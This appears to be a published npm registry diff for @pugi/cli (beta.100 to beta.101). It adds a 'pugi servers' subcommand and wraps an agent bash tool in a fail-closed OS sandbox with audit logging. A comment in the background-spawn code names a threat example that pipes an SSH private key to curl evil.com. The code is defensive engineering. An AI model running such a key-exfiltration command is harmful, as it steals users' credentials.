@pugi/cli 0.1.0-beta.100 → 0.1.0-beta.101
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +2 -0
- package/dist/core/codegraph/parser.js +574 -47
- package/dist/core/codegraph/queries/go.scm +57 -0
- package/dist/core/codegraph/queries/javascript.scm +56 -0
- package/dist/core/codegraph/queries/python.scm +55 -0
- package/dist/core/codegraph/queries/rust.scm +63 -0
- package/dist/core/codegraph/queries/typescript.scm +91 -0
- package/dist/core/codegraph/reindex.js +218 -0
- package/dist/core/codegraph/resolve-edges.js +107 -0
- package/dist/core/codegraph/watcher.js +440 -0
- package/dist/core/diagnostics/probes/sandbox.js +7 -12
- package/dist/core/engine/prompts.js +32 -0
- package/dist/core/eval/v1/ledger.js +83 -0
- package/dist/core/eval/v1/runner.js +280 -0
- package/dist/core/eval/v1/scoring.js +68 -0
- package/dist/core/eval/v1/task-loader.js +191 -0
- package/dist/core/eval/v1/types.js +14 -0
- package/dist/core/eval/v1/verifier.js +176 -0
- package/dist/core/eval/v1/yaml-parser.js +250 -0
- package/dist/core/sandboxing/adapter.js +31 -17
- package/dist/core/sandboxing/bubblewrap.js +209 -0
- package/dist/core/sandboxing/index.js +32 -3
- package/dist/core/sandboxing/policy.js +97 -0
- package/dist/core/sandboxing/seatbelt.js +69 -21
- package/dist/core/settings.js +31 -7
- package/dist/runtime/cli.js +58 -0
- package/dist/runtime/commands/eval-v1.js +266 -0
- package/dist/runtime/commands/index-cmd.js +125 -19
- package/dist/runtime/commands/servers-cli.js +182 -0
- package/dist/runtime/version.js +1 -1
- package/dist/tools/bash.js +187 -3
- package/package.json +10 -3
|
@@ -0,0 +1,182 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* PR M (2026-06-05): `pugi servers` top-level CLI surface.
|
|
3
|
+
*
|
|
4
|
+
* Operator pain (CEO 2026-06-05): PR H #919 added the `/servers` slash
|
|
5
|
+
* command so the REPL can list and kill processes tracked by
|
|
6
|
+
* `server_start`. That covers the in-REPL case, but the most painful
|
|
7
|
+
* regression is when the operator closes the REPL (Ctrl+D, crash,
|
|
8
|
+
* accidental window close) and a Vite/Next dev server keeps holding
|
|
9
|
+
* port 5173. With the slash-only surface, the only way back is
|
|
10
|
+
* `lsof -i :5173 | xargs kill -9`. `pugi servers` ports the same
|
|
11
|
+
* primitive to a shell-invocable subcommand so the orphan path is one
|
|
12
|
+
* command: `pugi servers stop all`.
|
|
13
|
+
*
|
|
14
|
+
* Surface mirrors the slash exactly to keep operator muscle memory:
|
|
15
|
+
*
|
|
16
|
+
* pugi servers list tracked servers
|
|
17
|
+
* pugi servers stop <runId> kill by srv-<uuid>
|
|
18
|
+
* pugi servers stop <pid> kill by numeric pid
|
|
19
|
+
* pugi servers stop all kill every alive entry
|
|
20
|
+
* pugi servers --workspace <path> use <path>/.pugi/runs/ instead
|
|
21
|
+
* of process.cwd() (orphan rescue)
|
|
22
|
+
* pugi servers --help print usage + exit 0
|
|
23
|
+
*
|
|
24
|
+
* This is a thin wrapper around `listServers` / `stopServers` /
|
|
25
|
+
* `runServersCommand` already exported by `commands/servers.ts` (the
|
|
26
|
+
* slash-command runner). Library coverage of the underlying primitive
|
|
27
|
+
* lives in `test/servers-command.spec.ts`; this module owns only the
|
|
28
|
+
* argv contract + exit codes, mirroring the `flatten-command` /
|
|
29
|
+
* `flatten-repo` split.
|
|
30
|
+
*
|
|
31
|
+
* Exit codes:
|
|
32
|
+
* 0 - success (list, empty, stopped, --help)
|
|
33
|
+
* 2 - invalid CLI args (unknown flag, missing target, malformed --workspace)
|
|
34
|
+
* 3 - not-found (stop <unknown>)
|
|
35
|
+
*
|
|
36
|
+
* The `--workspace` flag is parsed locally rather than pulled from the
|
|
37
|
+
* global `CliFlags` because `flags.workspace` already means something
|
|
38
|
+
* different (the headless workspace slug surfaced in `session.start`),
|
|
39
|
+
* and `flags.cwd` is reserved for the `--print` headless path. Local
|
|
40
|
+
* parsing keeps the wrapper self-contained and avoids a global-state
|
|
41
|
+
* collision the way `commands/index-cmd.ts` and `commands/flatten.ts`
|
|
42
|
+
* already do.
|
|
43
|
+
*/
|
|
44
|
+
import { resolve } from 'node:path';
|
|
45
|
+
import { runServersCommand, } from './servers.js';
|
|
46
|
+
/**
|
|
47
|
+
* Single entry-point. Returns the desired process exit code so the
|
|
48
|
+
* dispatcher in `runtime/cli.ts` can propagate it via
|
|
49
|
+
* `process.exitCode`. Mirrors the `runIndexCommand` / `runFlattenCommand`
|
|
50
|
+
* shape.
|
|
51
|
+
*/
|
|
52
|
+
export async function runServersCliCommand(args, ctx) {
|
|
53
|
+
const parsed = parseArgs(args);
|
|
54
|
+
switch (parsed.kind) {
|
|
55
|
+
case 'help':
|
|
56
|
+
return printHelp(ctx);
|
|
57
|
+
case 'error':
|
|
58
|
+
ctx.writeOutput({ ok: false, command: 'servers', error: parsed.message }, `pugi servers: ${parsed.message}`);
|
|
59
|
+
return 2;
|
|
60
|
+
case 'list':
|
|
61
|
+
case 'stop': {
|
|
62
|
+
const workspaceRoot = parsed.workspaceOverride !== null
|
|
63
|
+
? resolve(parsed.workspaceOverride)
|
|
64
|
+
: ctx.workspaceRoot;
|
|
65
|
+
const lines = [];
|
|
66
|
+
const io = {
|
|
67
|
+
write: (line) => lines.push(line),
|
|
68
|
+
};
|
|
69
|
+
const mode = parsed.kind === 'list'
|
|
70
|
+
? { kind: 'list' }
|
|
71
|
+
: { kind: 'stop', target: parsed.target };
|
|
72
|
+
const result = await runServersCommand(mode, io, { workspaceRoot });
|
|
73
|
+
const text = lines.join('\n');
|
|
74
|
+
ctx.writeOutput({
|
|
75
|
+
ok: result.kind !== 'not-found' && result.kind !== 'error',
|
|
76
|
+
command: 'servers',
|
|
77
|
+
mode: parsed.kind,
|
|
78
|
+
result,
|
|
79
|
+
}, text);
|
|
80
|
+
if (result.kind === 'not-found')
|
|
81
|
+
return 3;
|
|
82
|
+
if (result.kind === 'error')
|
|
83
|
+
return 1;
|
|
84
|
+
return 0;
|
|
85
|
+
}
|
|
86
|
+
}
|
|
87
|
+
}
|
|
88
|
+
/**
|
|
89
|
+
* Pure argv parser. Exported for the spec to pin canonical shapes.
|
|
90
|
+
*
|
|
91
|
+
* Accepted shapes:
|
|
92
|
+
* [] list
|
|
93
|
+
* ['--help'] | ['-h'] | ['help'] help
|
|
94
|
+
* ['--workspace', '/path'] list, workspace override
|
|
95
|
+
* ['--workspace=/path'] same, fused
|
|
96
|
+
* ['stop', '<target>'] stop
|
|
97
|
+
* ['stop', '<target>', '--workspace', '<p>'] stop with override
|
|
98
|
+
*
|
|
99
|
+
* Unknown flag or `stop` with no target is a structural error (exit 2).
|
|
100
|
+
*/
|
|
101
|
+
export function parseArgs(args) {
|
|
102
|
+
let workspaceOverride = null;
|
|
103
|
+
const positional = [];
|
|
104
|
+
for (let i = 0; i < args.length; i += 1) {
|
|
105
|
+
const arg = args[i];
|
|
106
|
+
if (arg === undefined)
|
|
107
|
+
continue;
|
|
108
|
+
if (arg === '--help' || arg === '-h' || arg === 'help') {
|
|
109
|
+
return { kind: 'help' };
|
|
110
|
+
}
|
|
111
|
+
if (arg === '--workspace') {
|
|
112
|
+
const next = args[i + 1];
|
|
113
|
+
if (next === undefined || next.startsWith('-')) {
|
|
114
|
+
return { kind: 'error', message: '--workspace requires a path argument.' };
|
|
115
|
+
}
|
|
116
|
+
workspaceOverride = next;
|
|
117
|
+
i += 1;
|
|
118
|
+
continue;
|
|
119
|
+
}
|
|
120
|
+
if (arg.startsWith('--workspace=')) {
|
|
121
|
+
const value = arg.slice('--workspace='.length);
|
|
122
|
+
if (value.length === 0) {
|
|
123
|
+
return { kind: 'error', message: '--workspace requires a non-empty path.' };
|
|
124
|
+
}
|
|
125
|
+
workspaceOverride = value;
|
|
126
|
+
continue;
|
|
127
|
+
}
|
|
128
|
+
if (arg.startsWith('-')) {
|
|
129
|
+
return { kind: 'error', message: `unknown flag "${arg}"` };
|
|
130
|
+
}
|
|
131
|
+
positional.push(arg);
|
|
132
|
+
}
|
|
133
|
+
if (positional.length === 0) {
|
|
134
|
+
return { kind: 'list', workspaceOverride };
|
|
135
|
+
}
|
|
136
|
+
const [head, ...rest] = positional;
|
|
137
|
+
if (head === 'stop') {
|
|
138
|
+
if (rest.length === 0) {
|
|
139
|
+
return {
|
|
140
|
+
kind: 'error',
|
|
141
|
+
message: 'stop requires a target (runId, pid, or "all").',
|
|
142
|
+
};
|
|
143
|
+
}
|
|
144
|
+
if (rest.length > 1) {
|
|
145
|
+
return {
|
|
146
|
+
kind: 'error',
|
|
147
|
+
message: `stop accepts one target; got ${rest.length}.`,
|
|
148
|
+
};
|
|
149
|
+
}
|
|
150
|
+
return { kind: 'stop', target: rest[0], workspaceOverride };
|
|
151
|
+
}
|
|
152
|
+
return {
|
|
153
|
+
kind: 'error',
|
|
154
|
+
message: `unknown subcommand "${head}". Allowed: stop, --help.`,
|
|
155
|
+
};
|
|
156
|
+
}
|
|
157
|
+
function printHelp(ctx) {
|
|
158
|
+
ctx.writeOutput({ ok: true, command: 'servers', sub: 'help' }, [
|
|
159
|
+
'pugi servers - list and stop dev servers tracked by server_start.',
|
|
160
|
+
'',
|
|
161
|
+
'Usage:',
|
|
162
|
+
' pugi servers List tracked servers (.pugi/runs/srv-*).',
|
|
163
|
+
' pugi servers stop <runId> Kill one by srv-<uuid> runId.',
|
|
164
|
+
' pugi servers stop <pid> Kill one by numeric pid.',
|
|
165
|
+
' pugi servers stop all Kill every alive tracked server.',
|
|
166
|
+
'',
|
|
167
|
+
'Options:',
|
|
168
|
+
' --workspace <path> Use <path>/.pugi/runs/ instead of cwd.',
|
|
169
|
+
' Handy when a server was orphaned in',
|
|
170
|
+
' another repo and the REPL is gone.',
|
|
171
|
+
' --help, -h Print this message and exit 0.',
|
|
172
|
+
'',
|
|
173
|
+
'Exit codes:',
|
|
174
|
+
' 0 success (list, empty, stopped)',
|
|
175
|
+
' 2 usage error (unknown flag, missing target)',
|
|
176
|
+
' 3 not-found (stop target did not match any tracked server)',
|
|
177
|
+
'',
|
|
178
|
+
'Mirrors the in-REPL `/servers` slash command (PR H, beta.100+).',
|
|
179
|
+
].join('\n'));
|
|
180
|
+
return 0;
|
|
181
|
+
}
|
|
182
|
+
//# sourceMappingURL=servers-cli.js.map
|
package/dist/runtime/version.js
CHANGED
|
@@ -44,7 +44,7 @@ export function sanitizeSemver(raw) {
|
|
|
44
44
|
* during import). When bumping the CLI version BOTH literals must be
|
|
45
45
|
* updated; the release smoke-test (`pack:smoke`) verifies they agree.
|
|
46
46
|
*/
|
|
47
|
-
export const PUGI_CLI_VERSION = sanitizeSemver('0.1.0-beta.
|
|
47
|
+
export const PUGI_CLI_VERSION = sanitizeSemver('0.1.0-beta.101');
|
|
48
48
|
/**
|
|
49
49
|
* Outbound: the CLI's installed semver. Read at request time by
|
|
50
50
|
* `version-interceptor.ts` and injected on every `fetch` call.
|
package/dist/tools/bash.js
CHANGED
|
@@ -35,6 +35,7 @@ import { classifyBash } from '../core/bash-classifier.js';
|
|
|
35
35
|
import { applyRedirect, finaliseRedirectFile, normalizeTailLines, openRedirectFile, resolveRedirectTarget, } from '../core/bash/redirect.js';
|
|
36
36
|
import { evaluateBashPermission } from '../core/permission.js';
|
|
37
37
|
import { writeAuditEvent } from '../core/audit/audit-trail.js';
|
|
38
|
+
import { isSandboxDisabled, makeAdapter, SANDBOX_DISABLE_ENV, } from '../core/sandboxing/index.js';
|
|
38
39
|
import { getJobRegistry, } from '../core/jobs/registry.js';
|
|
39
40
|
import { recordToolCall, recordToolResult } from '../core/session.js';
|
|
40
41
|
export const BASH_OUTPUT_CAP_BYTES = 32 * 1024;
|
|
@@ -206,7 +207,33 @@ export async function bashTool(input, ctx) {
|
|
|
206
207
|
const stdioLayout = redirectState !== null
|
|
207
208
|
? ['ignore', redirectState.fd, redirectState.fd]
|
|
208
209
|
: ['ignore', 'pipe', 'pipe'];
|
|
209
|
-
|
|
210
|
+
// Phase 1 #302 — OS sandbox wrap. The resolver returns one of
|
|
211
|
+
// three shapes; `blocked` short-circuits via the same envelope as
|
|
212
|
+
// a permission denial so the model sees a structured refusal +
|
|
213
|
+
// the operator sees install hints in stderr. Passthrough returns
|
|
214
|
+
// the legacy `/bin/sh -c <cmd>` argv unchanged so existing flows
|
|
215
|
+
// (mode=`none`, `PUGI_SANDBOX_DISABLE=1`) are byte-identical.
|
|
216
|
+
const sandboxResolution = resolveBashSandbox(cmd, ctx);
|
|
217
|
+
if (sandboxResolution.kind === 'blocked') {
|
|
218
|
+
const reason = renderSandboxBlockMessage(sandboxResolution);
|
|
219
|
+
recordToolResult(ctx.session, toolCallId, 'error', reason);
|
|
220
|
+
if (redirectState !== null) {
|
|
221
|
+
try {
|
|
222
|
+
closeSync(redirectState.fd);
|
|
223
|
+
}
|
|
224
|
+
catch { /* already closed */ }
|
|
225
|
+
}
|
|
226
|
+
return {
|
|
227
|
+
stdout: '',
|
|
228
|
+
stderr: reason,
|
|
229
|
+
exitCode: 126,
|
|
230
|
+
nextCwd: ctx.lastBashCwd ?? ctx.root,
|
|
231
|
+
truncated: false,
|
|
232
|
+
timedOut: false,
|
|
233
|
+
cancelled: false,
|
|
234
|
+
};
|
|
235
|
+
}
|
|
236
|
+
const child = spawn(sandboxResolution.argv[0], sandboxResolution.argv.slice(1), {
|
|
210
237
|
cwd: startCwd,
|
|
211
238
|
env: childEnv,
|
|
212
239
|
stdio: stdioLayout,
|
|
@@ -493,6 +520,122 @@ function sanitizeTimeout(value) {
|
|
|
493
520
|
// cannot wedge the engine loop.
|
|
494
521
|
return Math.min(value, 15 * 60 * 1000);
|
|
495
522
|
}
|
|
523
|
+
function resolveBashSandbox(cmd, ctx) {
|
|
524
|
+
const baseArgv = ['/bin/sh', '-c', cmd];
|
|
525
|
+
// Operator break-glass — log the disable to the audit trail so SOC
|
|
526
|
+
// sees a structured record, then degrade to passthrough.
|
|
527
|
+
if (isSandboxDisabled(process.env)) {
|
|
528
|
+
writeAuditEvent({
|
|
529
|
+
event: 'sandbox_block',
|
|
530
|
+
sessionId: ctx.session.id,
|
|
531
|
+
workspaceRoot: ctx.root,
|
|
532
|
+
data: {
|
|
533
|
+
tool: 'bash',
|
|
534
|
+
outcome: 'disabled_by_env',
|
|
535
|
+
env: SANDBOX_DISABLE_ENV,
|
|
536
|
+
cmdPreview: cmd.slice(0, 200),
|
|
537
|
+
},
|
|
538
|
+
});
|
|
539
|
+
return {
|
|
540
|
+
kind: 'passthrough',
|
|
541
|
+
argv: baseArgv,
|
|
542
|
+
description: `sandbox: disabled via ${SANDBOX_DISABLE_ENV}=1`,
|
|
543
|
+
reason: 'env_disabled',
|
|
544
|
+
};
|
|
545
|
+
}
|
|
546
|
+
const configured = (ctx.settings.bash?.sandbox ?? 'none');
|
|
547
|
+
if (configured === 'none') {
|
|
548
|
+
return {
|
|
549
|
+
kind: 'passthrough',
|
|
550
|
+
argv: baseArgv,
|
|
551
|
+
description: 'sandbox: none (passthrough)',
|
|
552
|
+
reason: 'mode_none',
|
|
553
|
+
};
|
|
554
|
+
}
|
|
555
|
+
const sandboxOpts = buildSandboxOpts(ctx);
|
|
556
|
+
try {
|
|
557
|
+
const adapter = makeAdapter(configured);
|
|
558
|
+
const probed = adapter.probe(sandboxOpts);
|
|
559
|
+
if (!probed.armed) {
|
|
560
|
+
// Fail-closed: the operator configured a sandbox but the host
|
|
561
|
+
// can't honour it. Refusing the spawn is the security promise.
|
|
562
|
+
writeAuditEvent({
|
|
563
|
+
event: 'sandbox_block',
|
|
564
|
+
sessionId: ctx.session.id,
|
|
565
|
+
workspaceRoot: ctx.root,
|
|
566
|
+
data: {
|
|
567
|
+
tool: 'bash',
|
|
568
|
+
outcome: 'unavailable',
|
|
569
|
+
mode: configured,
|
|
570
|
+
reason: probed.reason ?? 'unknown',
|
|
571
|
+
details: probed.details,
|
|
572
|
+
cmdPreview: cmd.slice(0, 200),
|
|
573
|
+
},
|
|
574
|
+
});
|
|
575
|
+
return {
|
|
576
|
+
kind: 'blocked',
|
|
577
|
+
mode: configured,
|
|
578
|
+
reason: probed.reason ?? `sandbox ${configured} not armed`,
|
|
579
|
+
...(probed.installHint ? { installHint: probed.installHint } : {}),
|
|
580
|
+
};
|
|
581
|
+
}
|
|
582
|
+
const wrapped = adapter.wrap({ command: '/bin/sh', args: ['-c', cmd] }, sandboxOpts);
|
|
583
|
+
return {
|
|
584
|
+
kind: 'wrapped',
|
|
585
|
+
argv: [wrapped.command, ...wrapped.args],
|
|
586
|
+
description: wrapped.description,
|
|
587
|
+
mode: configured,
|
|
588
|
+
posture: sandboxOpts.posture ?? 'strict',
|
|
589
|
+
};
|
|
590
|
+
}
|
|
591
|
+
catch (err) {
|
|
592
|
+
// `makeAdapter` throws for unknown / docker; treat as block.
|
|
593
|
+
const reason = err.message;
|
|
594
|
+
writeAuditEvent({
|
|
595
|
+
event: 'sandbox_block',
|
|
596
|
+
sessionId: ctx.session.id,
|
|
597
|
+
workspaceRoot: ctx.root,
|
|
598
|
+
data: {
|
|
599
|
+
tool: 'bash',
|
|
600
|
+
outcome: 'adapter_error',
|
|
601
|
+
mode: configured,
|
|
602
|
+
reason,
|
|
603
|
+
cmdPreview: cmd.slice(0, 200),
|
|
604
|
+
},
|
|
605
|
+
});
|
|
606
|
+
return { kind: 'blocked', mode: configured, reason };
|
|
607
|
+
}
|
|
608
|
+
}
|
|
609
|
+
function buildSandboxOpts(ctx) {
|
|
610
|
+
const sandboxCfg = ctx.settings.sandbox;
|
|
611
|
+
const extraWritePaths = [
|
|
612
|
+
join(homedir(), '.pugi'),
|
|
613
|
+
'/tmp',
|
|
614
|
+
];
|
|
615
|
+
const opts = {
|
|
616
|
+
workspaceRoot: ctx.root,
|
|
617
|
+
extraWritePaths,
|
|
618
|
+
posture: sandboxCfg?.posture ?? 'strict',
|
|
619
|
+
};
|
|
620
|
+
if (sandboxCfg?.allowNetwork !== undefined) {
|
|
621
|
+
opts.allowNetwork = sandboxCfg.allowNetwork;
|
|
622
|
+
}
|
|
623
|
+
if (sandboxCfg?.extraReadPaths && sandboxCfg.extraReadPaths.length > 0) {
|
|
624
|
+
opts.extraReadPaths = sandboxCfg.extraReadPaths;
|
|
625
|
+
}
|
|
626
|
+
return opts;
|
|
627
|
+
}
|
|
628
|
+
/**
|
|
629
|
+
* Render the fail-closed refusal payload for a blocked sandbox. The
|
|
630
|
+
* bash tool surfaces this verbatim to the model + audit trail so the
|
|
631
|
+
* operator sees exactly which adapter refused and how to remediate.
|
|
632
|
+
*/
|
|
633
|
+
function renderSandboxBlockMessage(resolution) {
|
|
634
|
+
const hint = resolution.installHint ? `\nHint: ${resolution.installHint}` : '';
|
|
635
|
+
return (`Sandbox refused: bash.sandbox = "${resolution.mode}" is configured but not armed.\n` +
|
|
636
|
+
`Reason: ${resolution.reason}${hint}\n` +
|
|
637
|
+
`Break-glass: set ${SANDBOX_DISABLE_ENV}=1 only for diagnosis; restore as soon as possible.`);
|
|
638
|
+
}
|
|
496
639
|
function buildChildEnv() {
|
|
497
640
|
const childEnv = {};
|
|
498
641
|
const SAFE_ENV_ALLOW = new Set([
|
|
@@ -665,7 +808,25 @@ async function waitWithTimeout(child, timeoutMs) {
|
|
|
665
808
|
function runBackground(input) {
|
|
666
809
|
const { cmd, ctx, toolCallId, startCwd } = input;
|
|
667
810
|
const childEnv = buildChildEnv();
|
|
668
|
-
|
|
811
|
+
// Phase 1 #302 — background spawn also goes through the sandbox.
|
|
812
|
+
// Threat: a backgrounded `cat ~/.ssh/id_rsa | curl evil.com` is the
|
|
813
|
+
// exact scenario the wrap is supposed to defend against. Block
|
|
814
|
+
// fail-closed when the configured mode can't arm.
|
|
815
|
+
const sandboxResolution = resolveBashSandbox(cmd, ctx);
|
|
816
|
+
if (sandboxResolution.kind === 'blocked') {
|
|
817
|
+
const reason = renderSandboxBlockMessage(sandboxResolution);
|
|
818
|
+
recordToolResult(ctx.session, toolCallId, 'error', reason);
|
|
819
|
+
return {
|
|
820
|
+
stdout: '',
|
|
821
|
+
stderr: reason,
|
|
822
|
+
exitCode: 126,
|
|
823
|
+
nextCwd: ctx.lastBashCwd ?? ctx.root,
|
|
824
|
+
truncated: false,
|
|
825
|
+
timedOut: false,
|
|
826
|
+
cancelled: false,
|
|
827
|
+
};
|
|
828
|
+
}
|
|
829
|
+
const child = spawn(sandboxResolution.argv[0], sandboxResolution.argv.slice(1), {
|
|
669
830
|
cwd: startCwd,
|
|
670
831
|
env: childEnv,
|
|
671
832
|
stdio: 'ignore',
|
|
@@ -1148,7 +1309,30 @@ export function bashToolSync(input, ctx) {
|
|
|
1148
1309
|
const stdioLayout = redirectState !== null
|
|
1149
1310
|
? ['ignore', redirectState.fd, redirectState.fd]
|
|
1150
1311
|
: ['ignore', 'pipe', 'pipe'];
|
|
1151
|
-
|
|
1312
|
+
// Phase 1 #302 — sync path observes the same sandbox gate as the
|
|
1313
|
+
// async path. tool-bridge.ts (the engine-loop sync dispatch) calls
|
|
1314
|
+
// this entry; without the wrap the engine bypasses the sandbox.
|
|
1315
|
+
const sandboxResolution = resolveBashSandbox(cmd, ctx);
|
|
1316
|
+
if (sandboxResolution.kind === 'blocked') {
|
|
1317
|
+
const reason = renderSandboxBlockMessage(sandboxResolution);
|
|
1318
|
+
recordToolResult(ctx.session, toolCallId, 'error', reason);
|
|
1319
|
+
if (redirectState !== null) {
|
|
1320
|
+
try {
|
|
1321
|
+
closeSync(redirectState.fd);
|
|
1322
|
+
}
|
|
1323
|
+
catch { /* already closed */ }
|
|
1324
|
+
}
|
|
1325
|
+
return {
|
|
1326
|
+
stdout: '',
|
|
1327
|
+
stderr: reason,
|
|
1328
|
+
exitCode: 126,
|
|
1329
|
+
nextCwd: ctx.lastBashCwd ?? ctx.root,
|
|
1330
|
+
truncated: false,
|
|
1331
|
+
timedOut: false,
|
|
1332
|
+
cancelled: false,
|
|
1333
|
+
};
|
|
1334
|
+
}
|
|
1335
|
+
const result = spawnSync(sandboxResolution.argv[0], sandboxResolution.argv.slice(1), {
|
|
1152
1336
|
cwd: startCwd,
|
|
1153
1337
|
env: childEnv,
|
|
1154
1338
|
encoding: 'utf8',
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@pugi/cli",
|
|
3
|
-
"version": "0.1.0-beta.
|
|
3
|
+
"version": "0.1.0-beta.101",
|
|
4
4
|
"description": "Pugi CLI - terminal-native software execution system",
|
|
5
5
|
"homepage": "https://pugi.io",
|
|
6
6
|
"repository": {
|
|
@@ -28,6 +28,7 @@
|
|
|
28
28
|
"files": [
|
|
29
29
|
"bin/run.js",
|
|
30
30
|
"dist/**/*.js",
|
|
31
|
+
"dist/**/*.scm",
|
|
31
32
|
"assets/**/*.ansi",
|
|
32
33
|
"docs/examples/**/*.json",
|
|
33
34
|
"test/scenarios/**/*.scenario.txt",
|
|
@@ -58,12 +59,18 @@
|
|
|
58
59
|
"tar": "^7.5.11",
|
|
59
60
|
"terminal-image": "^4.3.0",
|
|
60
61
|
"tinyglobby": "^0.2.16",
|
|
62
|
+
"tree-sitter": "0.22.4",
|
|
63
|
+
"tree-sitter-go": "^0.23.4",
|
|
64
|
+
"tree-sitter-javascript": "^0.23.1",
|
|
65
|
+
"tree-sitter-python": "^0.23.6",
|
|
66
|
+
"tree-sitter-rust": "^0.24.0",
|
|
67
|
+
"tree-sitter-typescript": "^0.23.2",
|
|
61
68
|
"turndown": "^7.2.4",
|
|
62
69
|
"undici": "^8.3.0",
|
|
63
70
|
"which": "^6.0.0",
|
|
64
71
|
"zod": "^3.23.0",
|
|
65
72
|
"@pugi/personas": "0.1.2",
|
|
66
|
-
"@pugi/sdk": "0.1.0-beta.
|
|
73
|
+
"@pugi/sdk": "0.1.0-beta.101"
|
|
67
74
|
},
|
|
68
75
|
"devDependencies": {
|
|
69
76
|
"@types/node": "^22.0.0",
|
|
@@ -78,7 +85,7 @@
|
|
|
78
85
|
"typescript": "~5.6.0"
|
|
79
86
|
},
|
|
80
87
|
"scripts": {
|
|
81
|
-
"build": "pnpm --filter @pugi/personas --filter @pugi/sdk build && tsc -p tsconfig.json && node scripts/make-bin-executable.mjs",
|
|
88
|
+
"build": "pnpm --filter @pugi/personas --filter @pugi/sdk build && tsc -p tsconfig.json && node scripts/copy-queries.mjs && node scripts/make-bin-executable.mjs",
|
|
82
89
|
"dev": "tsx src/index.ts",
|
|
83
90
|
"typecheck": "pnpm --filter @pugi/personas --filter @pugi/sdk build && tsc -p tsconfig.json --noEmit",
|
|
84
91
|
"test": "pnpm run check:version-lockstep && pnpm run build && node --test --import tsx 'test/**/*.spec.ts' 'test/**/*.spec.tsx' 'src/**/*.spec.ts' 'src/**/*.spec.tsx'",
|